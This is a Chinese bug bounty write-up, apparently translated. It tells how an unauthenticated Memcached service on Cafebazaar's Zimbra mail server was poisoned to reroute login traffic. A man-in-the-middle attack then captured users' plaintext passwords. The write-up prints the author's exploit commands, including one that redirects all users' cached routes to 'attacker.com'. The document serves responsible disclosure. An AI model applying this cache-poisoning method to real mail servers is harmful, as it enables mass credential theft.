本文讲述了作者以邮件登录服务为突破口,利用其中的Zimbra应用功能和邮件端口配置bug,可以对目标邮件服务端执行流量转发设置(SSRF),实现对所有登录用户的明文凭据信息窃取。
背景介绍
Cafebazaar(巴扎应用商店):成立于2011年4月的一个伊朗安卓APP商店,专门给波斯语用户提供APP应用服务,其上有164000多个伊朗和国际软件游戏、社交媒体、信息等其他应用软件。2019年4月,巴扎应用商店用户超过4000万。
Zimbra:Zimbra 是一家提供专业的电子邮件软件开发供应商,主要提供ZimbraDesktop邮件管理软件,附属应用还包括WebMail、日历、通信录、Web文档管理和创作。Zimbra的核心产品是Zimbra协作套件(Zimbra Collaboration Suite,简称ZCS)。
线索发现
在针对Cafebazaar的前期探测阶段,我以其Webmail邮箱服务页面-mailx.hezardastan.net为目标入手点,执行了一系列的枚举和端口扫描:
从中可以看到很多开启端口,且11211端口的分布式缓存Memcached服务有点异常,经过测试我有了以下发现:
1、无需验证即可与Memcached服务的11211端口通信; 2、Zimbra应用会把其中涉及的邮箱地址储存在缓存中; 3、针对其中的缓存数据,可以进行增加、修改和删除操作; 4、可以针对目标系统实施DDOS攻击。
之后,我还想再深入发现更具危害的隐患,如文件信息泄露、远程代码执行等。
对Zimbra应用的深入测试
这里可以参考一下Zimbra的源码。在Memcached涉及的缓存服务中,会存储一些通信协议机制、用户名、后端IP地址等信息。在此,我用Metasploit的memcached_extractor模块来对其中的信息进行提取:
虽然利用上述提取到的邮箱地址,可以实施进一步的钓鱼或暴力破解攻击。但这并不是我想要的效果。我们再来深入研究一下Zimbra的运行机制:
1、首先,需要用户提供凭据进行身份验证; 2、邮件服务端(mailx.hezardastan.net)会在缓存中储存涉及到的用户名、后台服务URL路径; 3、用户会直接与Zimbra应用实现交互; 4、邮件服务端会从缓存中取后台服务路径; 5、邮件服务端的交互会伴随用户数据和相应的URL服务路径。
以下是Zimbra应用在缓存中存储的用户数据样例:
route:proto=imapssl;user=[REDUCTED]@cafebazaar.ir 127.0.0.1:7993 route:proto=pop3ssl;user=[REDUCTED]@cafebazaar.cloud 127.0.0.1:7995 route:proto=httpssl;user=[REDUCTED]@cafebazaar.ir 127.0.0.1:8443
其格式为:
route:proto=[UserProtocol];user=EmailAddressOrID
这里Zimbra应用支持的协议有:
IMAPSSL 127.0.0.1:7993 POP3SSL 127.0.0.1:7995 HTTPSSL(HTTPS) 127.0.0.1:8443
另外,需要注意的是,目标邮件服务端mailx.hezardastan.net开启了以下可以通过互联网访问的邮件配置端口:
IMAPSSL mailx.hezardastan.net:7993 POP3SSL mailx.hezardastan.net:7995 HTTPSSL(HTTPS) mailx.hezardastan.net:8443
以此为突破口,我在后续编写了一个利用脚本。
发现SSRF漏洞
接下来我要测试一下目标邮件服务端中是否存在SSRF漏洞。这里的思路是: 1、把其中涉及的后端IP地址更改指向到攻击者控制的IP地址; 2、利用自签名SSL证书,并在攻击者控制的IP地址中开启SSL监听程序; 3、把目标用户的缓存数据修改为转发指向至攻击控制的IP地址。
按照上述思路,通过操作,成功在攻击者控制的IP中收到了来自目标邮件服务端maix.hezardastan.net的相关缓存数据,SSRF有效。如下:
中间人攻击
之后我想到了中间人攻击,如果构造得当,利用这种攻击方式应该可以窃取大量的用户信息,如密码、邮箱地址等,当然还得考虑流量转发对攻击效果的影响。由于目标邮件服务端开启了互联网可以访问的邮件配置端口,所以,我想实现这种中间人攻击应该问题不大。
这里的中间人攻击思路为:
1、用户登录进入邮箱,后端IP把用户的凭据等相关信息进行了缓存; 2、攻击者把后端IP地址更改指向为攻击者自己控制的IP地址; 3、目标邮件服务端maix.hezardastan.net中的Zimbra应用流量就被转发至攻击者控制的IP系统中; 4、攻击者用SSL方式获得相应的转发流量,并可从中提取用户密码等信息; 5、攻击者也可通过SSL方式连接目标邮件服务端后台开放的端口; 6、攻击者还能将缓存转发流量更改默认配置。
为此,我专门写了一个实现中间人攻击的漏洞利用脚本-HezarSploit.py
用它可以实现以下利用场景:
1、提取目标邮件服务端maix.hezardastan.net中已登录的用户邮箱地址:python HezarSploit.py -m dumpusers
2、假冒IMAPSSL服务端直接与用户通信,并获取其中的用户凭据:
代码语言:javascript复制python HezarSploit.py -m mitm —port 4444
3、针对所有登录了邮箱服务端的用户(或是特定用户),可以把他们的缓存流量转发至我控制的服务器中:
代码语言:javascript复制python HezarSploit.py -m poisoning —user all —ip attacker.com —port 4444
4、将缓存转发流量更改默认配置:
代码语言:javascript复制python HezarSploit.py -m reset
组合利用放大招
在我控制的服务器中输入以下命令,进行流量监听:
代码语言:javascript复制python HezarSploit.py -m mitm —port 4444
在其它终端中输入以下命令,实现对maix.hezardastan.net的缓存流量转发:
代码语言:javascript复制python HezarSploit.py -m poisoning —user all —ip attacker.com —port 4444
结果:
这种方式可以获取到几乎所有登录到maix.hezardastan.net的用户名和密码信息,注意,密码全是明文!目标邮件服务端完全沦陷了:
后话
我上报漏洞后,Cafebazaar立马就进行了整改,不到一小时就修复了漏洞。之后我也获得了$2500的奖励。
参考来源
https://medium.com/bugbountywriteup/story-of-a-2-5k-bounty-ssrf-on-zimbra-led-to-dump-all-credentials-in-clear-text-6fe826005ccc